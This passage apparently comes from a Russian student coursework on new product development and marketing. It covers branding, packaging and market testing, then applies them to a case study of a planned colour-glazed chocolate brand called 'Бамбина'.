возможность ремонта установок

4. Факторы в области сбыта товара:

использование существующих торговых организаций

покупательная способность потребителей

возможность экспорта

Экономический анализ коммерциализации идеи нового товара

Экономический анализ о новом товаре связан с исследованием затрат, связанных с его разработкой, выводом на рынок и продажей, а также с оценкой прибыли и риска, обусловленных производством нового товара, которое имеет необходимый оборот. Для этого используют метод анализа безубыточности, который позволяет установить точку безубыточности (Х), характеризующую минимальный объем выпускаемой продукции, при котором доход от продажи равен издержкам производства.

2.4 Разработка товара

После принятия решения о том, что реализация нового товара принесет приемлемую прибыль, приступают к разработке модели или прототипа нового товара. Новый товар должен обеспечивать технические требования потребителя и соответствовать требованиям рынка.

Для маркетолога первоочередной является задача обеспечения успеха товара на рынке, т.е. создание такой совокупности его свойств, которые не только отражали бы его назначение, но и делали бы его более привлекательным по сравнению с товаром – конкурентом. В этой связи процесс разработки нового товара целесообразно рассматривать как совокупность двух стадий: 1) формирование технических параметров; 2) формирование рыночных параметров.

Для разработки товара часто организуются межфункциональные группы (последователи фирм, дизайнеров, маркетологов), что создает открытое взаимодействие специалистов и ускоряет решение задачи.

Формирование технических параметров связано с наделением нового товара такими функциональными свойствами, которые будут удовлетворять выявленные желания (потребности) покупателя. Разработкой технических параметров занимаются НИОКР и группа маркетологов. Устанавливая возможность воплощения идеи товара в изделие, рентабельное с технической точки зрения, разработчики должны воплотить в это изделие и рыночные характеристики будущего товара. Задача маркетологов в этом случае состоит в обеспечении разработчиков информацией о необходимых свойствах товара и о признаках, по которым потребители будут судить о наличии этих свойств в товаре.

Формирование рыночных параметров осуществляется благодаря разработке дизайна товара, его формы, цвета, массы, упаковки, имени и марки.

Форма, цвет, качество являются факторами, которые могут оказать влияние на решение о покупке товара. Первое впечатление о товаре связано с его внешним видом, оно складывается задолго до оценки его качества и функциональных свойств. Внешний вид выступает как мотив, побуждение к приобретению товара, сила, формирующая круг потенциальных покупателей конкретного товара. Данная реакция характерна не только для товаров потребительского спроса, но и для товаров производственно – технического назначения.

Дизайн товара представляет собой инструмент, с помощью которого можно воздействовать на потенциальных покупателей, ускорять их действия по приобретению товара.

Наряду с этим важную роль в реализации товара играет его качество. Качество товара – это сумма его свойств, которые присущи этому товару (например, срок службы, способность к потреблению, сохраняемость и т.д.).

Цвет и вид материала, из которого сделан товар, также определяют возможности и варианты отличий, особенностей того или иного товара.

Форма товара помогает распознать товар и вызвать определенные ассоциации у покупателя.

Возможности конструирования формы технических товаров намного уже, чем конструирования формы товаров потребительского спроса.

В случаях, когда функция товара не может быть выражена с помощью материала и его консистенции (например, напитки), конструируются емкости, которые по виду сходны с желаемым товаром.

Для того чтобы обеспечить товар индивидуально, чтобы он был различаем среди других товаров, чтобы он воспринимался единственным и неповторимым, ему присваивается имя. Имя облегчает коммуникации, взаимодействие между производителем и потребителем. Часто имя является гарантией успеха нового товара на рынке, особенно тогда, когда имя товара быстро впечатляет и запоминается, легко выговаривается и вызывает положительные эмоции.

Поиск, разработка нового имя для товара – это сложная проблема, так как имя используется не только для различимости товара. Имя товара должно характеризовать тип товара, вызывать положительные ассоциации у покупателя, обладать рекламным воздействием, быть не изменчивым.

При разработке нового имени товара можно руководствоваться следующими принципами:

использовать творческие методы поиска;

осуществлять трансформацию какого-либо известного имени до тех пор, пока по отношению к новому имени не будет правовых возражений;

основа нового имени формировать как противоположность имени конкурентного товара;

использовать какое-либо известное имя для присоединения его к имени нового товара.

В конкретном случае при выборе имени товара, особенно потребительских товаров, следует иметь ответы на следующие вопросы; Что имя товара должно выражать? Какие имена можно вообще подвергнуть отбору? Какой из них лучше? Какое имя несет конкурентный товар аналогичного назначения? Чем отличается имя нашего товара от него? Будет новое имя использоваться у потребителя только у одного товара или оно позже будет закреплено за всем ассортиментов товаров? Нужно ли провести предварительную аттестацию товара?

Имя товара является основой формирования его рыночного «лица», базовым элементом рыночной атрибутики товара. В процессе постоянного потребления товара с определенным именем покупатель легко идентифицирует его из большого числа существующих на рынке товаров. Постоянное обращение к этому товару и его использование способствуют отражению в памяти покупателя положительной эмоции. Эта реакция передается по обратной связи производителю этого товара. Чтобы закрепить это имя за своим предприятием и защитить его от возможности использования другими фирмами, руководство осуществляет юридическую регистрацию этого имени. Таким образом, имя товара как бы маркируется, выступает в виде марки товара.

Марка – это название, знак, символ, рисунок, термин или их комбинация, предназначенные для идентификации продукта одного или нескольких производителей (продавцов) и отличия его от товаров конкурентов. Марка служит для отличия, распознавания и дифференциации товара на рынке. Марка может включать марочное имя, марочный знак и товарный знак.

Марочное имя – часть марки в виде букв, слов и / или их комбинаций, которые могут быть произнесены.

Марочный знак – часть марки, которая является узнаваемой, но не произносимой. Он представляет собой символ, рисунок, имеет отличительные цвет и шрифтовое оформление.

Товарный знак – марка или ее часть, защищенная юридически, что дает продавцу исключительное право использовать марочное имя и марочный знак. Товарный знак выполняет функции гарантии качества, индивидуализации, рекламы и охраны марки.

В зависимости от того, под какой маркой реализуется товар, различают две ее разновидности: марка производителя и частная марка.

Марка производителя – марка, созданная производителем или взятая в аренду у другого производителя. Производитель при маркировке товара может использовать: индивидуальные марочные имена для каждого своего продукта;

единое марочное имя для всех своих продуктов; различные марочные имена для отдельных групп продуктов; марочное имя компании-производителя в сочетании с марочными именами отдельных своих продуктов.

Марка частная – марка, разработанная торговыми (оптовыми или розничными) предприятиями. Она иногда называется посреднической маркой, маркой дистрибьютора, маркой дилера.

В зависимости от области действия марки классифицируются на: индивидуальные (аспирин); групповые (Maggi); фирменные (Nestle); региональные (пиво «Степан Разин»); национальные (автомобиль «Жигули»); международные (Coca-Cola).

Марка представляет собой условный знак, который посредством ассоциации его с товаром или услугой сообщает потребителю информацию о товаре, его потребительских характеристиках. Она убеждает покупателей, что при покупке товара они получат то же самое качество, что и прежде.

Марка должна рассматриваться комплексно, как совокупность нескольких ее атрибутов, а не только как имя товара.

Ф. Котлер определил марку, как шестиуровневый символ, олицетворяющий: характеристику товара; выгоду; ценность; культуру (организованность, эффективность, высокое качество); индивидуальность; тип пользователя. Самые устойчивые атрибуты марки (ценность, культура и индивидуальность) определяют ее сущность.

Основными решениями, которые необходимо принимать маркетологу при управлении товарными марками, являются следующие: о необходимости товарной марки; о поддержке товарной марки; о стратегии марки; об изменении позиционирования марки.

Применение товарной марки является эффективным, так как ее использование упрощает процесс формирования заказов и доставки товаров; обеспечивает юридическую защиту уникальных качеств товара от незаконной имитации конкурентами; создает возможность привлечения стабильного контингента покупателей; облегчает сегментацию рынка; укрепляет корпоративный имидж и упрощает внедрение новых марок.

Товарные марки выступают также в виде средства завоевания на рынке власти и укрепления финансовых позиций фирмы. Поэтому одной из задач управления марками является задача развития товарной марки, расширение ее действия. Для этого разрабатывают марочную стратегию, в качестве которой могут выступать: стратегия расширения товарного ряда (распространение существующей марки на сложившуюся товарную номенклатуру); стратегия расширения границ товарной марки (распространение существующей марки на новые товары); многомарочная стратегия (разработка двух и более марок для одной продуктовой линии).

Следует иметь в виду, что лишь некоторым маркам удается сохранять успех в течение продолжительного времени. Наличие финансового барьера, а также необходимость формирования новой приверженности покупателей к вновь введенной марке требуют постоянного поиска средств для компенсации затрат по разработке и развитию товарной марки.

Важным элементом в системе формирования рыночных параметров нового товара является упаковка. Большинство товаров, чтобы дойти до потребителя, транспортируются, складируются. В этих случаях товары в соответствии с правилами их поставки и потребления упаковываются. Упаковка выступает «визитной карточкой», передаваемой производителем или торговой организацией потребителю.

Упаковкой называют тару или оболочку товара. Она служит для сохранности продукта, удобства обращения с продуктом и его транспортировки, а также выполняет такие важные маркетинговые функции, как привлечение внимания потребителей, идентификация товара, реклама и информационное оповещение, формирование имиджа. Значение маркетинговых функций упаковки постоянно возрастает. Это связано с такими факторами рыночной действительности, как развитие самообслуживания, рост благосостояния потребителей, информатизация и компьютеризация экономики, признание имиджа компаний и торговых марок как факторов ускорения процесса купли-продажи.

Процесс разработки упаковки включает принятие следующих решений: обоснование концепции упаковки, формирование дополнительных характеристик упаковки (размер, форма, материал, цвет, текст, размещение товарной марки), тестирование упаковки.

Концепция упаковки содержит основополагающие идеи и принципы, способствующие разработке новых продуктов, обладающих дополнительными для покупателей и потребителей свойствами.

Для новых продуктов моделируются и анализируются несколько вариантов упаковок. Решения, принимаемые по созданию упаковки, должны быть согласованы с организацией рекламы, ценой и системой товародвижения, которая будет использована при распределении товара.

Научно-технический прогресс и развитие рыночных отношений оказывают влияние на развитие содержания и назначение упаковки. Благодаря этим факторам упаковка рассматривается теперь не как защитное средство товара при его транспортировке, а как носитель информации о товаре (табл. 7). Упаковка должна выполняться с учетом следующих требований: быть оригинальной и иметь патентную защищенность; отвечать эстетическим условиям; обеспечивать функциональность, т.е. быть элементом товара; осуществлять рекламное воздействие; быть недорогой по затратам; обеспечивать сохранность товара на пути к потребителю; способствовать рационализации складских и транспортных расходов; быть удобной для реализации товара; отражать конкурентоспособность товара и его экологичность; быть экологически чистой; обладать способностью использоваться как вторичное сырье.

Таким образом, упаковка в современных условиях представляет собой эффективный инструмент товарной политики. Она ускоряет и облегчает процесс купли-продажи, усиливает имидж товара и имидж фирмы.

Перед выводом нового товара на рынок он должен пройти тестирование с целью выявления надежности и безопасности употребления нового товара. Испытания могут проводиться в полевых и лабораторных условиях. Формы испытаний зависят от типа, назначения и размеров товара. Испытания осуществляются потребителями, которых приглашают в лаборатории, где находится новый товар, или этот товар передается потребителям домой для пробного использования.

Таблица 7. Развитие функции упаковки товара

Ступени развития

Функции упаковки
Защита и соблюдение сохранности при транспортировке

Определение объемов продаж

Самопрезентация товара

Упрощение потребления товара

Рационализация товарного хозяйства
Упаковка как защита при транспортировке

Х

Упаковка как составляющая часть товара

Х

Х

Упаковка как средство стимулирования продаж.

Х

Х

Х

Упаковка как составная часть качества товара

Х

Х

Х

Х

Упаковка как носитель технико-экономической и коммерческой информации о товаре

Х

Х

Х

Х

Х

Испытания товара в условиях рынка, тестирование

Тестирование может осуществляться по следующим критериям: место проведения (рынок, лаборатория, дом); объект (товар, цена, имя, марка); лица, привлекаемые для тестирования (покупатель, эксперт); продолжительность (короткое, длинное время); объем (один товар, партия товаров); число тестируемых товаров (однозначный, сравнительный).

Отношение потребителей к товарам проверяют с помощью трех методов – простого рейтинга, парного сравнения и шкалы оценок.

Метод простого рейтинга основан на выявлении предпочтений потребителя к новому товару. Потребителю предлагается несколько вариантов нового товара, к которым он должен выразить свое отношение, – от самого предпочтительного до наименее предпочтительного. Будучи простым, данный метод не позволяет оценить степень предпочтения и неприменим к большому числу объектов.

Метод парного сравнения предполагает, что потребителю представляются варианты новых товаров попарно. Из каждой пары товаров потребитель должен выбрать один товар, который он считает наиболее предпочтительным. Этот метод облегчает задачу потребителю, так как ему предлагаются для тестирования варианты лишь из двух товаров, что упрощает выявление сходства и различия между товарами.

Метод школьных оценок применяется при необходимости тестирования большого количества новых товаров одного назначения. Для этого используют систему шкал, в которой каждый балл означает определенный уровень оценки потребителем нового товара (например, товар очень хороший, хороший, удовлетворительный). Этот метод позволяет не только установить рейтинг в предпочтениях потребителя, но и количественно его оценить.

Рыночные условия характеризуются более определенным состоянием внешних и внутренних факторов среды товара. Так, товар имеет уже конкретную форму и назначение, цена на товар определена, решены вопросы упаковки и маркировки, проведена соответствующая реклама, торговые агенты оповещены о товаре.

В рыночных условиях объемы испытаний зависят от величины вложенных в новый товар средств и времени, выделенного для проведения тестирования. Так, совершенно новые товары, как известно, обладают большими затратами на их разработку и высокой степенью риска при выводе их на рынок. Поэтому такие товары обязательно должны тщательно тестироваться, тем более что относительные затраты на тестирование таких товаров будут невелики по отношению к общей стоимости проекта по разработке и внедрению на рынок этого товара. В общем случае при экономической оценке эффективности проведения испытаний проводится сравнение затрат на их проведение со стоимостью проекта нового товара и учитывается время, которым располагает компания для осуществления проверки товара.

Следует иметь в виду, что в условиях рынка проверяются не только сам товар, но и готовность, достаточность разработанного комплекса маркетинга, т.е. всех маркетинговых мероприятий, обеспечивающих эффективное продвижение и реализацию нового товара.

Тестирование может охватывать товар в целом или его основные параметры (свойства, функции, упаковку, цену и т.д.). Главная цель тестирования – получение информации об отношении покупателей к тестируемому товару.

Рыночные испытания могут носить характер контрольного и стандартного тестирования.

Контрольное тестирование рынка (управляемый пробный маркетинг) проводится в специально созданных панелях магазинов, где за определенную плату испытываются различные методы продажи нового товара. Предварительно фирма, осуществляющая тестирование, определяет число и географическое местонахождение магазинов, а затем контролирует размещение товара в торговом зале, цены, выбранные методы продвижения товара. В результате контрольного тестирования устанавливается, какое влияние могут оказывать перечисленные факторы на спрос нового товара.

Стандартное тестирование рынка предполагает размещение нового товара в реальной рыночной среде, т.е. в условиях полномасштабной его реализации. При этом выявляют места сбыта товара, осуществляют комплекс маркетинговых мероприятий, анализируют деятельность магазинов, исследуют мнения потребителей, посредников, поставщиков, проводят бенчмаркинг отношения к новому товару конкурентных фирм. Результаты такого тестирования применяются для прогнозирования объема продаж в региональном и национальном масштабах, а также для установления проблем, относящихся к производству и организации маркетинга нового товара.

Тестирование товара зависит от типа и назначения товара. При тестировании товаров широкого потребления фирма должна обращать внимание в первую очередь на восприятие товара, количество пробных и повторных покупок, их частоту.

При тестировании товаров производственно-технического назначения в первую очередь проверяются следующие параметры: функциональные качества, надежность; уровень эксплуатационных затрат; соответствие конструкции товара технологии процесса; место установки; необходимость дополнительного обучения персонала, который будет обслуживать этот товар; величина затрат на обучение персонала и т.д.

На основании результатов тестирования нового товара принимается решение о производстве этого товара и выводе его на рынок. Следует иметь в виду, что серийное производство товара – наиболее затратный этап инновации товара как затрат по организации производства, так и затрат на маркетинг.

2.6 Вывод и внедрение товара на рынок

При выводе товара на рынок необходимо установить: Когда, в какой момент следует вывести товар на рынок? Где, на какой рынок можно выпустить товар? Какой группе покупателей должен быть предложен товар? Как организовать и координировать мероприятия по выводу товара на рынок?

Момент вывода товара на рынок должен быть согласован с возможностями и надобностью представлять товар на рынок первым, параллельно с существующими конкурентами или после того, как конкуренты выведут на рынок свой, аналогичный по назначению товар. Определяющим фактором при этом может выступить сезонность товара, особенно для потребительских товаров. В любом случае следует оценить степень риска, учесть возможные отрицательные и положительные последствия каждого из возможных вариантов вывода товара на рынок.

Для установления места и вида рынка, на который целесообразно предложить новый товар, необходимо провести анализ существующих рынков сбыта с точки зрения их привлекательности, т.е. определить потенциал рынка, имидж компании на предполагаемом рынке, величину необходимых затрат, маркетинг по каждому из возможных рынков, выявить степень проникновения конкурентов на рынок, размер занятой ими доли на этом рынке.

Вывод товара на рынок может осуществляться постепенно или в виде блиц-кампании, последний способ более приемлем для небольших компаний. Наличие у компании развитой дистрибьюторской сети и международных каналов сбыта может позволить компании вывод товара сразу на национальный и международный рынки с учетом их особенностей.

Выбор целевого рынка определяет состав будущих покупателей нового товара. Он проводится с учетом профиля, структуры перспективных покупателей, оценка которых была проведена на этапе тестирования нового товара.

Если для товаров производственно-технического назначения группа предполагаемых покупателей, как правило, известна и определяется при заключении контракта о производстве этого товара, то для товаров широкого потребления базу целевого рынка составляют имеющиеся покупатели-приверженцы фирмы, ее последователи, которые могут выступить лидерами в приобретении этого нового товара фирмы и создать этому товару положительный имидж для других покупателей.

Для упорядочения и координации работ по выводу нового товара на рынок должно быть проведено планирование этой деятельности. Для этого могут быть использованы известные методы планирования, например, метод сетевого планирования, метод ПЕРТ и т.д.

Метод сетевого планирования наиболее часто используется для этой цели. Сущность сетевого планирования заключается в составлении сети всех возможных работ по выводу товара на рынок с указанием затрат времени и других ресурсов по их выполнению, в поиске критического пути, который показывает необходимые действия до выхода на рынок и продолжительность выполнения всех видов работ. Оценка критического пути, его реальности и продолжительности служит основой для прогноза времени и принятия мер по устранению причин, задерживающих выведение нового товара на рынок.

С помощью использования сетевого планирования можно предотвратить безуспешный вывод нового товара на рынок, так как производительность имеет возможность проанализировать возможные причины неудач, например:

неправильный выбор периода и времени вывода товара;

недостаточная развитость дистрибьюторской сети;

раннее или позднее проведение рекламных мероприятий;

вывод на рынок товара, не полностью отработанного в техническом отношении;

неправильная оценка рыночной цены товара;

слабая система до- и послепродажного обслуживания покупателей и потребителей нового товара.

Разработка нового товара в фирме «Бамбина»

Разработка нового товара является одним из важнейших направлений маркетинговой деятельности, так как от эффективности этого процесса зависит размер будущей прибыли от продажи продукта.

Перед тем как получить базовую концепцию будущего товара необходимо идентифицировать тип потребности в товаре. Для этого определяем следующие аспекты новой продукции в таблице 8:

Таблица 8. Тип потребности в товаре

№

Категория

Степень зависимости товара от категории
1

Место в иерархии потребностей

В основном это конечно удовлетворение физиологической потребности: утоление голода. Но в то же время такой продукт часто используется в целях присоединения человека к социальной группе. Такой образ принадлежности формируется уже в процессе рекламной кампании.
2

Что влияет на потребность

На такой продукт не оказывает особого влияния такие категории как национальность, география, природа, возраст и социальное положение. Так как продукт является общеупотребительным и недорогим.
3

Историческое место потребности

Потребность в товаре существует в нашем обществе и не иссякнет, так как продукт удовлетворяет физиологическую потребность. Также шоколад является необходимым атрибутом любого праздника.
4

Уровень удовлетворения потребности

Потребность в продукте всегда останется не полностью удовлетворенной, так как многие люди употребляют этот продукт ежедневно
5

Степень сопряженности потребности

Удовлетворенная потребность не образует новые
6

Масштаб распространения

Географический: в пределах страны. Социальный для всех слоев населения, с дифференциацией по социальным группам в зависимости от формы и упаковки
7

Частота удовлетворения

Непрерывно удовлетворяемая потребность
8

Природа возникновения

Основная потребность, то есть может возникнуть вне зависимости от покупки другого товара.
9

Применяемость потребности

В области потребления пищевых продуктов
10

Комплексность удовлетворения

Потребность может удовлетворяться взаимодополняющими товарами, например, коробка конфет дополняется чаем или бутылкой вина. А также взаимозаменяющими товарами: торт, вафли, сладкие пирожки и т.п.
11

Отношение общества

В основном положительное. Кроме категории женщин желающих похудеть, диабетиков, аллергиков.
12

Степень эластичности

Спрос на товар является неэластичным. Так как при небольшом изменении цены он не понизится.
13

Способ удовлетворения

Может быть индивидуальным и групповым

Для раскрытия психологического портрета основных типов потребителей ответим на следующие вопросы:

Сфера применения. Товар применяется для утоления голода.

Сфера деятельности потребителя может быть самой разной, так как эта продукция рассчитана на потребление во всех слоях населения.

Пол также не имеет значения. Возраст же можно определить от 2-х лет и до самой смерти человека. Необходимо отметить, что дети потребляют несколько больше продукта, чем взрослые, особенно в новогодние праздники.

Семейное положение. Тоже не оказывает особого влияния, так как сладкоежки есть как среди семейных людей, так и среди одиночек. Как в предыдущем пункте лишь добавим, что в семьях, где есть дети – потребление шоколада может быть выше.

Социальное положение, доходы и образование не оказывают влияния на выбор данного продукта потребителями. Более того, растущий достаток потребителей означает, что они готовы заплатить немного больше за удобства, внешний вид, надежность и престижность улучшенной упаковки.

Цель приобретения товара – для чаепития (шоколад в коробках, развесные конфеты в фантиках, шоколадная плитка), для того чтобы перекусить (батончики), покупка в качестве подарка или презента (в коробках, плитках, специальная эксклюзивная упаковка).

Модель покупательского поведения. Потребитель использует информацию для того, чтобы составить для себя комплект марок, из которого производится окончательный выбор. Вопрос заключается в том, как именно совершается выбор среди нескольких альтернативных марок, каким образом потребитель оценивает информацию. Для оценки вариантов можно выделить несколько основных понятий, с помощью которых она совершается.

Во-первых, существует понятие о свойствах товара. Каждый потребитель рассматривает любой данный товар как определенный набор свойств. Больше всего человек обращает внимания на свойства, которые имеют отношение к его нужде. Во-вторых, потребитель склонен придавать разные весовые показатели значимости свойствам, которые он считает актуальными для себя. Можно провести различие между важностью того или иного свойства и его характерностью, то есть заметностью. В-третьих, потребитель склонен создавать себе набор убеждений о марках. Набор убеждений о конкретном марочном товаре известен как образ марки. Убеждения потребителя могут колебаться от знания подлинных свойств по собственному опыту до знаний, являющихся результатом избирательного восприятия, избирательного искажения и избирательного запоминания.

Для нашего товара:

– факторы влияющие на покупку: собственный опыт-оценка вкуса, красивая и модная упаковка, специальные акции и лотереи.

– способы получения информации: реклама в средствах массовой информации, мнение знакомых и родственников.

– последовательность действий при совершении покупки. Потребитель не производит долгий сбор информации, а совершает покупку сразу при возникновении потребности, импульсивно, так как цена невысока, руководствуется собственными предпочтениями к вкусу и оформлению.

8) Выработка рекомендаций по воздействию на потенциальных потребителей:

– вид рекламы самый разнообразный: на телевидении, в журналах, на плакатах и общественном транспорте.

– сопутствующий сервис. Товар не является сложнотехническим, поэтому дополнительный сервис не предусмотрен. Личные продажи также не предполагаются.

– методы продвижения товара: реклама в СМИ и розыгрыш призов.

Проведем маркетинговый анализ товара по следующему плану:

1. Описание товара.

1) Название товара. При разработке стратегии маркетинга конкретных товаров продавец должен решить, будет ли он предлагать их как марочные. Представление товара в качестве марочного может повысить его ценностную значимость, и поэтому подобное решение является важным аспектом товарной политики. Практика присвоения марочных названий сейчас получила столь широкое распространение, что сегодня их имеет почти любой товар. Марка – имя, термин, знак, символ, рисунок или их сочетание, предназначенные для идентификации товаров или услуг одного продавца или группы продавцов и дифференциации их от товаров и услуг конкурентов. Марочное название – часть марки, которую можно произнести.

Важность товарных марок определяется следующими причинами: облегчается идентификация продукции; гарантируется, что товар или услуга обладают определенным качеством; повышается ответственность фирмы за продукцию; вместо сравнения по ценам покупатель сравнивает марки; престиж продукции растет с ростом общественного признания марки; создается отличительный образ продукции при сегментации рынка; товарная марка может быть использована для выхода на новый продукт.

Наш шоколад будет выпускаться под названием торговой марки «Бамбина» различными названиями. Шоколад будет выпускаться в форме конфет покрытых разноцветной (голубой, красной, зеленой, желтой и оранжевой) глазурью:

– в коробках весом 150,250 и 350 грамм. Названия «Бамбина» (коричневая глазурь, с вишневой начинкой), «Дольче Бамбина» (нежно-розовая и желтая глазурь, молочный шоколад с кокосом), «Аривидерчи, Бамбина» (ассорти красная глазурь, горький шоколад с коньячной, вишневой и грильяжной начинкой), «Сеньорита Бамбина» (фигурный шоколад с цветными начинками);

– в форме плиток с разноцветными квадратиками. Названия «Венеция» (голубая глазурь, молочный шоколад с пузырьками), «Бемби» (для детей), «Итальянская ночь» (фиолетовая глазурь, молочный шоколад с миндалем), «Синьора Изабелла» (бордовая глазурь, молочный шоколад с изюмом сорта «Изабелла»)

– шоколадных батончиков весом. 70 грамм красных и синих. Название «Б@М!» ориентированное на подростков 10–18 лет. И маленькие 50 грамм в желтой глазури с названием «Бамик» для детей младшего возраста с разными ягодными и молочными начинками.

– развесных конфет в ассортименте.

2) Технология изготовления.

Производство любого товара начинается с формирования идеи, на основе проведенных маркетинговых исследований. Идея была сформулирована еще в начале написания работы. Затем мы провели анализ потребителя, и можно сделать вывод, что производство такой продукции найдет своего потребителя.

Процесс производства шоколада (рис. 1) начинается с того, что зерна какао вынимают из плодов, и, очистив от окружающего их желатинового слоя, оставляют на несколько дней для брожения. Это дает проявиться элементам, влияющим на аромат какао. Далее зерна очищаются и обжариваются при температуре между 120 и 140. Именно на этой стадии в основном и формируется вкус шоколада. После этого зерна размалывают, а полученную кашицу мелко растирают, добавляя в нее сахар и масло какао (на этой стадии можно также добавлять другие ингредиенты – миндаль, молоко, ликер, ароматизаторы и т.д.). Полученная масса после очистки от мелких зернышек перемешивается в специальных резервуарах в течение нескольких дней – это придает шоколаду сладость и аромат. Перед тем, как разлить шоколад в формы, его остужают до нужной температуры, при которой он приобретает аппетитный цвет и красивый блеск.

Схема разработки нового товара

Рис. 8 Производство шоколада.

Глазурь предприятие будет закупать у поставщиков. Это глазурь из пищевых красителей на лауриновых заменителях какао-масла; на нелауриновых заменителях какао-масла; на кокосовом масле. Она изготавливается на английском оборудовании «Макинтай».

Завершает процесс изготовления шоколада формовка – на этом этапе штампы, продвигаясь при чередовании «холодных» и «горячих» участков, заполняются содержимым. После этого продукция, остыв, легко вынимается из форм и поступает на упаковку.

Хранят шоколад при контролируемой температуре и влажности, для сохранения его вкусовых качеств и внешнего вида. От излишней влажности шоколад может побелеть, а от света его надо беречь, чтобы предотвратить окисление. Также шоколад рекомендуют герметично упаковывать, так как он очень легко впитывает запахи.

Создание упаковки – это часть планирования продукции, в ходе которой фирма изучает, разрабатывает и производит свою упаковку, включающую саму тару, в которую помещается продукция, этикетку и вкладыши. Выделим ключевые факторы создания упаковок, которые должны учитываться при принятии решений в данном направлении.

а) Дизайн упаковки должен воздействовать на образ, который фирма ищет для своей продукции. Цвет, форма, материалы – все это влияет на представления потребителей о фирме и ее продукции. Более простая упаковка создает образ более низкого качества товаров общих марок. Поэтому наша фирма будет производить товар в броской и яркой упаковке, которая будет соответствовать содержимому. Пример дизайна крышки от коробки конфет приведен в приложении 1.

б) Стандартизация упаковки увеличивает мировое признание. Поэтому наша фирма решила не отходить от общепризнанных стандартных размеров плиток и коробок шоколада.

в) Стоимость упаковки должна быть, конечно, учтена. Относительная стоимость упаковки может достигать до 40% розничной цены, в зависимости от целей и степени упаковки.

г) Современные материалы стимулируют спрос. Фирма может выбирать из ряда упаковочных материалов: картон, пластик, металл, стекло, целлофан и пр. При этом бывают необходимы компромиссы. Например, целлофан позволяет показывать товары, но очень легко рвется; картон относительно дешев, но труден для открывания. Кроме того, нужно определить насколько новаторской должна быть упаковка. Для упаковки наших товаров будут использованы все вышеперечисленные виды упаковки. Затем фирма разрабатывает размер, цвет и форму. При выборе размеров нужно учитывать период хранения, удобство, традиции и конкуренцию. Должны быть также определены место, содержание и размер этикетки, а также насколько она должна выделяться. На ней должны быть указаны названия компании и марка товара.

3) Надежность и долговечность. Срок хранения шоколада при установленной температуре от +18 до – 3°С составляет 6 месяцев.

4) Соответствие предполагаемому назначению. Продукция будет сертифицирована (пример сертификата приведен в приложении 2) и будет соответствовать всем нормам государственного контроля.

5) Экологичность. Сама продукция пищевая, не представляет угрозы экологии. Процесс производства также укладывается в нормы предельно допустимых выбросов пара и дыма в атмосферу. Около 80% от всей упаковки продукции составляет бумага и картон, которые с течением времени растворяются в воде, или легко уничтожаются путем сожжения: коробки, обертки. Поэтому можно говорить о достаточной экологичности выпускаемой продукции.

6) Эстетичность. Качество продукта формируется как функциональными признаками данного товара, разработка которых является прерогативой конструкторов и технологов, так и внешним дизайном, в разработке которого обязательное участие должен принимать маркетолог. Важнейшие средства, используемые при разработке продукта и воплощающие внешность продукта: форма, цвет и материал продукта.

Форма продукта связана как с основными, так и добавочными качествами. Из добавочных качеств важнейшим является эстетичность продукта. Физиологическая теория утверждает, что удобный для глаза и охватываемый малым количеством движений образ является наиболее эстетичным. Формы должны состоять из простых, согласованных, по возможности симметричных линий и элементов. На восприятие формы влияет индивидуальность и вкус воспринимающего, традиции (знакомые формы воспринимаются лучше), а также окружение (в окружении, соответствующем их функциям, продукты производят лучшее эстетическое действие).

Цвет – это простейшее и дешевое средство для вариации продукта. Палитра цветов и оттенков необозрима. В мире насчитывается около 2800 названий цветов, а всего насчитывают более 7,5 млн. различных цветов и оттенков. Выбор цвета определяется материалом и рядом других факторов. Цвета оказывают психическое действие, успокаивают или возбуждают. Они выражают печаль или радость, делают продукт легким или тяжелым в восприятии, влияют на образ расстояния до предмета.

О внешнем виде, привлекательности и выразительности данного товара следует отметить отдельно. Впервые планируется выпустить шоколад с покрытием из цветной глазури по типу маленьких конфет «m&ms». А привлекательность упаковки позволит увеличить спрос на сладкую продукцию.

Используемые инструменты маркетинга, превращающие продукт в товар:

Реклама: в СМИ (радио «Рекорд», «Максимум», газеты: «Пульс Поволжья», «Волжские вести», рекламный ролик на телевидении), на плакатах размещаемых на остановках транспорта, в магазинах, уличных щитах.

Каналы распространения товара через оптовую торговлю к розничной.

Эффективность обслуживания. Снабжение товара рекламными плакатами и буклетами.

Связь с общественностью: публикация статей в газетах о незабываемом шоколаде, передачи на телевидении, акции с подарками в детских кафе.

Стимулирование продвижения товара через рекламу, связи с общественностью.

Ценовая политика – установление средних цен.

Наш товар находится на стадии «выведение на рынок», так как он уникален. Завоевание рынка требует времени, поэтому объемы продаж при этом растут, как правило, с невысокой скоростью. Прибыли на этом этапе отрицательные или невысокие, вследствие незначительных продаж и высоких расходов на распространение и стимулирование сбыта. Много средств необходимо для привлечения дистрибьюторов и создания складских запасов. Расходы на стимулирование относительно высоки, поскольку необходимо информировать покупателей о новом товаре и дать им попробовать его. Когда фирма выходит с товаром на рынок, главная ее задача – добиться признания товара не только потребителями, но и оптовыми и розничными торговцами. Признание товара предполагает создание распределительной сети, чтобы товар был доступен потребителям, и попытку убедить потребителей испытать товар на этапе его появления на рынке. Чтобы привлечь потребителей, товар должен иметь конкурентное преимущество относительно качества или стоимости. Нашими преимуществами являются уникальность-новизна, средняя цена, активная реклама, красивая упаковка.

Анализ товара.

В каких случаях покупатели используют товар? Для утоления голода, в праздники.

Какова основная польза товара? Утоление голода.

Какова дополнительная польза? Создание хорошего настроения, активизация умственной работы.

Выполняет ли товар необходимую функцию? Выполняет.

Ваш товар может выполнять больше функций чем необходимо, или он лучше чем это требуется? Если отказаться от ненужных функций товара, можно ли снизить цену, что повысило бы его ведущую полезность? Снижение цены возможно только при отказе от цветной глазировки. Если отказаться от глазировки товара, то шоколад станет обычным, рядовым. Его сложно будет выделить среди общей массы.

Все ли свойства товара необходимы с точки зрения потребителя? Судя по опросу ряда людей, все свойства товар необходимы.

Какие дополнительные улучшения было бы целесообразно внести в товар? Придумать оригинальную упаковку, что могло бы выделить его среди общей массы.

Имеется ли проект усовершенствования товара, который пока невозможно реализовать? Пока такого проекта нет, так как товар только выводится на рынок, и все силы должны быть потрачены на признание его покупателем.

Как выглядит на рынке идеальный товар с точки зрения потребителя? Товар должен быть обязательно в красивой упаковке, вкусным, то есть иметь в своем составе какао не менее 25–33%, иметь разнообразные начинки, чтобы удовлетворить любой взыскательный вкус. Для детей необходимо изображение мультяшных героев или вкладыша / наклейки внутри упаковки.

